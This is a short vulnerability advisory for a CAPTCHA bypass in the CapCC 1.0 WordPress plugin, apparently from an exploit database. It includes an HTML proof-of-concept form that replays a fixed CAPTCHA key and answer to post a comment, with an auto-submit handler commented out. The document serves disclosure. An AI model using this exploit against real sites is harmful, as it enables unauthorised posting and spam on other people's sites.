Fuctweb CapCC Plugin 1.0 for WordPress CAPTCHA Security Bypass Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Fuctweb CapCC Plugin 1.0 WordPress CAPTCHA Security Bypass Vulnerabilit


                                                source: http://www.securityfocus.com/bid/37103/info

Fuctweb CapCC Plugin for WordPress is prone to a security-bypass vulnerability that occurs in the audio CAPTCHA protocol.

Successful exploits may allow attackers to bypass security restrictions and perform unauthorized actions.

CapCC 1.0 is affected; other versions may also be vulnerable.

&#60;html&#62; &#60;head&#62;&#60;base href=&#34;http://websecurity.com.ua/uploads/2008/CapCC%20CAPTCHA%20bypass.html&#34; /&#62; &#60;title&#62;CapCC CAPTCHA bypass exploit (C) 2008 MustLive. http://websecurity.com.ua&#60;/title&#62; &#60;/head&#62; &#60;!-- &#60;body onLoad=&#34;document.hack.submit()&#34;&#62; --&#62; &#60;body&#62; &#60;form name=&#34;hack&#34; action=&#34;http://sitewww.example.com/wp-comments-post.php&#34; method=&#34;post&#34;&#62; &#60;input type=&#34;hidden&#34; name=&#34;author&#34; value=&#34;Test&#34;&#62; &#60;input type=&#34;hidden&#34; name=&#34;email&#34; value=&#34;[email protected]&#34;&#62; &#60;input type=&#34;hidden&#34; name=&#34;url&#34; value=&#34;http://www.example.com&#34;&#62; &#60;input type=&#34;hidden&#34; name=&#34;comment&#34; value=&#34;Captcha bypass test.&#34;&#62; &#60;input type=&#34;hidden&#34; name=&#34;comment_post_ID&#34; value=&#34;1&#34;&#62; &#60;input type=&#34;hidden&#34; name=&#34;capcc_captchakey&#34; value=&#34;EQoenVjf6wemPguoYT6CJwl0O&#34;&#62; &#60;input type=&#34;hidden&#34; name=&#34;capcc_captcha&#34; value=&#34;gthsw&#34;&#62; &#60;/form&#62; &#60;/body&#62; &#60;/html&#62;

01 Jul 2014 00:00Current

6.7Medium risk

Vulners AI Score6.7